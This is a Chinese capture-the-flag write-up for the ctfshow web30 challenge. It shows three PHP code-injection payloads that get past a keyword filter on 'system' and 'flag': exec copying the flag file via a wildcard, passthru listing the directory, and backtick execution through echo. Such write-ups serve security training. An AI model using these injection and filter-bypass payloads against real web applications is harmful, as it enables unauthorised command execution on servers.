Ctfshow web入门-web30 WP

拿到url首先查看源码,发现源码对比上一题只是多了个对输入值system的过滤
在这里插入图片描述

preg_match函数过滤system函数,但是php中执行方法的函数有很多,比如passthru、exec,shell_exec等 ,注意exec对执行的结果不输出

passthrusystem的作用是一样的,解题的姿势有很多,本文简述几种解题方式
在这里插入图片描述

解法一:

这里用exec执行函数,虽然exec对执行结果不输出,但是不代表不可以查看flag,这里用函数执行复制(将flag复制给1.txt,直接用浏览器访问1.txt),由于flag被过滤,这里用通配符表示

Payload:
1c169b4f-2968-4804-9ca1-900835155761.challenge.ctf.show:8080/?c=exec(‘cp fla* 1.txt’);  

小细节:‘ 单引号用url编码之后是%27
然后直接访问url/1.txt查看flag

在这里插入图片描述

解法二:
passthru函数执行命令

构造payload查看当前目录下的文件

payload:
1c169b4f-2968-4804-9ca1-900835155761.challenge.ctf.show:8080/?c=passthru(%27ls%27);
 

在这里插入图片描述

接下来执行命令查看flag,nl、tac、cat等等都是查看文件的命令

在这里插入图片描述

解法三:

在php中echo ·命令·;也是可行并能执行输出的,为此作者特地做了个实验:

<?php system('$_GET[a]');?>等同于<?php echo`$_GET[a]``;?>

在这里插入图片描述

访问url,并且在后面加上想执行的命令

在这里插入图片描述

有了这个实验结果,这题也可以用这个解法来解
构造payload:

payload:
1c169b4f-2968-4804-9ca1-900835155761.challenge.ctf.show:8080/?c=echo `ls`;

查看当前目录下的文件

在这里插入图片描述

尝试获取flag

在这里插入图片描述

在这里插入图片描述

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值